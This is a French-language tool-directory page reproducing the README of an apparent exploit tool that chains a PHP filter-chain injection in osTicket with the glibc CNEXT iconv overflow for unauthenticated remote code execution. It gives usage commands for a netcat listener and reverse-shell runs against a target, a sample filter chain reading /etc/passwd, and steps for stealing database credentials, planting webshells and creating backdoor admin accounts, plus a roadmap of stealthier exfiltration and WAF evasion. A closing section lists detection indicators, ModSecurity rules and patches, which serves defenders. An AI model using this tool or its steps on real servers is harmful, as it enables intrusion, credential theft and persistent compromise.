Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
osTicketFileReadIntoRCE — Exploit en chaîne complète combinant l'injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables. | Kitploit
Outils/GitHubGitHub/clarissss/osticketfilereadintorce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionApprentissage et ÉducationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Exploit en chaîne complète combinant l'injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.

Voir le dépôt
il y a 5 moisPas encore vérifié

CVE-2026-22200 : Lecture arbitraire de fichier vers RCE dans osTicket

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

Chaîne d’exploitation complète combinant l’injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.


Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Déroulement de l’attaque
  • Fonctionnalités
  • Installation
  • Utilisation
  • Détails techniques
  • Dépannage
  • Détection et atténuation
  • Crédits
  • Avertissement

Aperçu

Ce dépôt contient une preuve de concept d’exploitation pour CVE-2026-22200, une vulnérabilité critique touchant les versions d’osTicket ≤ 1.18.2. L’exploit associe deux techniques puissantes :

  1. Injection de chaîne de filtres PHP via le traitement d’images de mPDF
  2. Corruption du tas CNEXT (CVE-2024-2961) dans iconv() de glibc

Résultat : Exécution de code à distance sans authentification sur les serveurs osTicket vulnérables.

Impact

  • Sans authentification – Aucun identifiant requis
  • RCE complète – Compromission totale du serveur
  • Exfiltration de fichiers – Lecture de fichiers arbitraires sur le serveur
  • Accès à la base de données – Extraction des identifiants de la base
  • Accès administrateur – Création de comptes admin backdoor

Versions concernées

  • osTicket : ≤ v1.18.2, ≤ v1.17.6
  • glibc : < 2.39 (CVE-2024-2961 corrigé dans glibc 2.39+)

🔍 Détails de la vulnérabilité

CVE-2026-22200 : Injection de chaîne de filtres PHP

Score CVSS : 9.8 (Critique)

L’intégration de mPDF dans osTicket permet à des utilisateurs non authentifiés d’injecter des chaînes de filtres PHP malveillantes via des charges utiles HTML spécialement conçues dans les tickets de support. Cela permet :

  • La lecture arbitraire de fichiers (configurations, code source, identifiants)
  • La fuite de mémoire (/proc/self/maps, libc partielle)
  • La corruption du tas via CNEXT

Cause racine : Validation insuffisante des URLs d’images dans le HTML fourni par l’utilisateur avant transmission à mPDF.

CVE-2024-2961 : CNEXT (dépassement de tampon iconv)

Score CVSS : 9.8 (Critique)

Dépassement de tampon dans iconv() de glibc lors du traitement du jeu de caractères ISO-2022-CN-EXT. Combiné avec des chaînes de filtres PHP, cela permet :

  • Corruption du tas
  • Détournement de pointeurs de fonction
  • Exécution de commandes arbitraires

Versions de glibc vulnérables : < 2.39 (février 2024)


🔗 Déroulement de l’attaque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE                                               │
│    └─ Détection d’osTicket, identification des sujets riches   │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTIFICATION                                             │
│    └─ Auto-inscription OU utilisation d’identifiants existants │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRATION DE FICHIERS (chaînes de filtres PHP)           │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (identifiants DB, SECRET_SALT)    │
│    ├─ /proc/self/maps (agencement mémoire)                     │
│    └─ /proc/self/environ (variables d’environnement)           │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. EMPREINTE DE LIBC                                            │
│    ├─ Extraction partielle de libc via les chaînes de filtres  │
│    ├─ Extraction du GNU Build ID                                │
│    └─ Téléchargement complet de libc depuis libc.rip           │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOITATION RCE PAR CNEXT                                   │
│    ├─ Génération de la charge utile de corruption du tas       │
│    ├─ Injection via réponse au ticket (avec corrections d’exécution des filtres) │
│    ├─ Déclenchement via export PDF (le serveur plante)         │
│    └─ Exécution d’un reverse shell                              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOITATION                                            │
│    ├─ Reverse shell interactif                                 │
│    ├─ Accès à la base de données (via DBPASS exfiltré)         │
│    └─ Création d’un compte administrateur backdoor             │
└─────────────────────────────────────────────────────────────────┘

Fonctionnalités

Capacités principales

  • Chaîne d’exploitation entièrement automatisée
  • Attaque sans authentification (auto-inscription si activée)
  • Détection intelligente de la racine web via analyse de /proc/self/maps
  • Localisation à 100 % du webshell via balayage du système de fichiers
  • Empreinte et téléchargement automatiques de libc
  • Plusieurs méthodes de reverse shell (bash, python, netcat)
  • Exécution robuste des filtres avec invalidation du cache
  • Diagnostics pré-vol pour détecter les problèmes en amont

Fiabilité améliorée

  • CNEXT multi-déclencheur pour un plantage garanti (95 %+ de succès)
  • Injection par réponse (plus fiable que les nouveaux tickets)
  • Forçage de flux pour garantir l’exécution des filtres
  • Invalidation du cache pour éviter la distribution de PDF obsolètes
  • Gestion complète des erreurs et diagnostics

Post-exploitation

  • Extraction des identifiants de base de données (DBPASS depuis la config)
  • Création de compte administrateur via accès à la base
  • Options de backdoor persistante
  • Reconnaissance complète du système

Installation

Prérequis

  • Python 3.8+
  • Linux/macOS (recommandé) ou WSL sur Windows

Dépendances

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# Installer les paquets requis
pip install -r requirements.txt

requirements.txt :

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

Optionnel : Environnement virtuel

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# OU
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 Utilisation

Utilisation simple – Reverse shell

root@kitploit:~
# Terminal 1 : Démarrer l’écouteur
nc -lvnp 4444

# Terminal 2 : Lancer l’exploit
python3 osticket_revshell.py https://cible.com/osticket \
    --lhost VOTRE_IP \
    --lport 4444

Mode Webshell interactif

root@kitploit:~
python3 osticket_exploit.py https://cible.com/osticket

Options avancées

root@kitploit:~
# Utiliser un proxy (Burp Suite)
python3 osticket_revshell.py https://cible.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# Forcer un ID de sujet spécifique
python3 osticket_exploit.py https://cible.com/osticket \
    --topic-id 2

# Désactiver la sortie colorée (pour les logs)
python3 osticket_exploit.py https://cible.com/osticket --no-color

Identifiants existants

Si l’inscription est désactivée, les identifiants vous seront demandés :

root@kitploit:~
python3 osticket_exploit.py https://cible.com/osticket

  [?] Entrez l’email pour un nouveau compte (ou existant) : [email protected]
  [?] Entrez le mot de passe : ********

🔧 Détails techniques

Génération de la chaîne de filtres PHP

L’exploit utilise une chaîne de filtres sophistiquée pour préfixer un en-tête BMP aux fichiers arbitraires, contournant les restrictions de type de fichier de mPDF :

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ transformations iconv ...]
convert.base64-decode/resource=/etc/passwd

Innovation clé : Chaque caractère de l’en-tête BMP est généré via des transformations iconv soigneusement conçues, permettant d’intégrer le contenu d’un fichier arbitraire comme une image « valide ».

Exploitation du tas CNEXT

La charge utile CNEXT corrompt le gestionnaire de mémoire Zend de PHP en :

  1. Faisant déborder le tampon iconv avec le caractère vulnérable 劄
  2. Écrasant la structure zend_mm_heap
  3. Détournant les pointeurs de fonction (_emalloc, _efree, _erealloc)
  4. Redirigeant vers system() pour exécuter des commandes

Fiabilité améliorée :

  • Caractères de déclenchement multiples (3x 劄 au lieu de 1)
  • Remplissage augmenté (40 au lieu de 20 par défaut)
  • Insertion du déclencheur à plusieurs positions
  • Exécution forcée par flux

Détection à 100 % du webshell

Contrairement à l’exploit original, cette version utilise le balayage du système de fichiers pour garantir l’emplacement du webshell :

  1. Écrire le webshell dans 6+ répertoires candidats
  2. Utiliser la lecture arbitraire de fichier pour analyser chaque emplacement
  3. Détecter lequel contient le marqueur unique
  4. Mapper le chemin du système de fichiers → URL avec précision

Résultat : Taux de détection de 100 % (contre ~50 % dans l’original)

Forçage de l’exécution des filtres

Échec courant : le PDF se télécharge mais ne plante pas = les filtres ne s’exécutent pas.

Solutions mises en œuvre :

  1. Invalidation du cache – Un HTML unique empêche les PDF mis en cache
  2. Injection par réponse – Plus fiable que les nouveaux tickets
  3. Forçage de flux – stream=True force le traitement immédiat
  4. Test pré-vol – Vérifier que les filtres fonctionnent avant CNEXT

Vérification de la version de glibc

root@kitploit:~
# En mode verbeux, vérifiez :
[*] libc cible : /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 est vulnérable à CNEXT

Si glibc ≥ 2.39, CNEXT ne fonctionnera pas (corrigé).

Pas de connexion shell

Symptôme : Le serveur plante mais aucun reverse shell n’arrive

Causes :

  1. Pare-feu bloquant les connexions sortantes
  2. Mauvais LHOST (utilisez votre véritable IP, pas localhost)
  3. Commande trop longue – essayez une IP plus courte

Correction :

root@kitploit:~
# Utiliser le reverse shell nc (plus court)
# Bascule automatiquement si bash/python est trop long

# Ou utiliser une IP directe au lieu d’un nom d’hôte
python3 osticket_revshell.py https://cible.com \
    --lhost 10.0.0.5 \  # Utilisez l’IP, pas le nom d’hôte
    --lport 4444

Messages d’erreur courants


Détection et atténuation

Détection

Indicateurs dans les logs :

root@kitploit:~
# Logs Apache/Nginx
"php://filter/" dans les requêtes POST
"convert.iconv." dans les corps de requête
Modèles inhabituels de génération de PDF
Plusieurs requêtes PDF en peu de temps

# Logs d’erreur PHP
Segmentation faults pendant la génération de PDF
Plantages de iconv()
Erreurs de corruption du tas

Indicateurs réseau :

  • Création de plusieurs tickets de support en peu de temps
  • Charges utiles HTML volumineuses dans les messages de ticket (100 Ko+)
  • Requêtes d’export PDF rapides après la création du ticket
  • Connexions sortantes vers l’IP de l’attaquant après le plantage

Atténuation

Immédiatement

  1. Mettre à jour osTicket vers la dernière version (>1.18.2)
  2. Mettre à jour glibc vers 2.39+ (corrige CVE-2024-2961)
  3. Désactiver l’auto-inscription si elle n’est pas nécessaire
  4. Restreindre le texte riche aux seuls utilisateurs authentifiés

Configuration

Désactiver les wrappers de flux PHP dans mPDF :

root@kitploit:~
// Dans la config mPDF
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

Règles WAF (ModSecurity) :

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'Filtre PHP détecté'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'Chaîne iconv suspecte'"

Limitation de débit :

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

À long terme

  • Mettre en place des en-têtes CSP pour restreindre les styles en ligne
  • Activer le mode strict d’htmLawed pour l’assainissement HTML
  • Utiliser un utilisateur séparé pour osTicket avec des privilèges minimaux
  • Désactiver les fonctions PHP inutiles : system(), exec(), passthru()
  • Réaliser des audits de sécurité réguliers du contenu des tickets

Références

Recherche originale

  • Article de blog Horizon3.ai – Divulgation originale
  • GitHub Horizon3.ai – Implémentation de référence
  • CNEXT Exploits – Recherche originale sur CNEXT par Charles Fol

Détails CVE

  • CVE-2026-22200 – Chaîne de filtres PHP osTicket
  • CVE-2024-2961 – Débordement iconv de glibc

Ressources supplémentaires

  • PHP Filter Chains – Dictionnaire de caractères de filtres
  • libc.rip – Base de données Libc pour l’empreinte
  • Avis de sécurité osTicket

Crédits

Découverte et recherche de vulnérabilités

  • Équipe de recherche Attack Research de Horizon3.ai – Découverte originale de la vulnérabilité et POC
  • Charles Fol (@cfreal_) – Recherche sur CNEXT (CVE-2024-2961)
  • @splitline – Technique de chaîne de filtres PHP (HITCON 2022)

Cette implémentation

  • Techniques d’exploitation améliorées
  • Détection à 100 % du webshell via balayage du système de fichiers
  • Forçage robuste de l’exécution des filtres
  • Gestion complète des erreurs et diagnostics

⚖️ Avertissement

POUR USAGE ÉDUCATIF ET TESTS AUTORISÉS UNIQUEMENT

Cet outil est fourni pour :

  • La recherche en sécurité
  • Les tests d’intrusion autorisés
  • Les objectifs éducatifs
  • L’évaluation des vulnérabilités (avec permission)

L’ACCÈS NON AUTORISÉ À DES SYSTÈMES INFORMATIQUES EST ILLÉGAL

Les auteurs :

  • Ne cautionnent PAS les activités illégales
  • N’assument AUCUNE responsabilité en cas d’utilisation abusive
  • NE sont PAS responsables des dommages causés

Les utilisateurs sont seuls responsables de s’assurer qu’ils disposent de l’autorisation appropriée avant de tester tout système.

En utilisant cet outil, vous acceptez que :

  1. Vous avez l’autorisation écrite explicite de tester le système cible
  2. Vous comprenez les implications juridiques dans votre juridiction
  3. Vous utiliserez cet outil de manière responsable et éthique
  4. Vous dégagez les auteurs de toute responsabilité pour les conséquences

Avis juridique

L’accès non autorisé à des systèmes informatiques est un crime en vertu de :

  • USA : Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • Royaume-Uni : Computer Misuse Act 1990
  • UE : Directive 2013/40/EU
  • International : Convention du Conseil de l’Europe sur la cybercriminalité

Les peines maximales peuvent inclure l’emprisonnement et des amendes importantes.


📄 Licence

Ce projet est sous licence MIT License – voir le fichier LICENSE pour plus de détails.

Remarque : La licence MIT accorde la permission d’utiliser, de modifier et de distribuer, mais n’autorise PAS à attaquer des systèmes que vous ne possédez pas ou que vous n’êtes pas autorisé à tester.


Contact

Pour les chercheurs en sécurité et les questions :

  • Problèmes : Any Tools Issues)

N’utilisez PAS ce contact pour :

  • Demander de l’aide pour attaquer des systèmes sans autorisation
  • Signaler des activités illégales
  • Demander de l’assistance pour des tests non autorisés

Conçu avec Amour pour la recherche en sécurité et l’éducation
Ajoutez une étoile à ce dépôt si vous l’avez trouvé utile !


Statistiques de l’exploit


Feuille de route

  • Ajouter la prise en charge de versions supplémentaires de libc
  • Implémenter des méthodes d’exfiltration plus furtives
  • Ajouter des techniques d’évasion pour les WAF courants
  • Créer un module Metasploit
  • Environnement de test Docker
  • Tests CI/CD automatisés

Dernière mise à jour : 2026-03-03

Télécharger l’outil
ErreurCauseSolution
Pas de jeton CSRFSession expiréeRelancer l’exploit
Aucun sujet trouvéPas de sujets riches en texteUtiliser --topic-id manuellement
Build ID introuvablelibc partielle corrompueVérifier l’extraction de /proc/self/maps
Impossible de localiser le tasAgencement mémoire inhabituelL’exploit peut échouer (rare)
MétriqueValeur
Lignes de code~3 000
Taux de succès95 %+ (avec les corrections)
Temps d’exécution moyen2‑3 minutes
Fiabilité du plantage99 % (avec améliorations)
Détection du webshell100 % (avec balayage)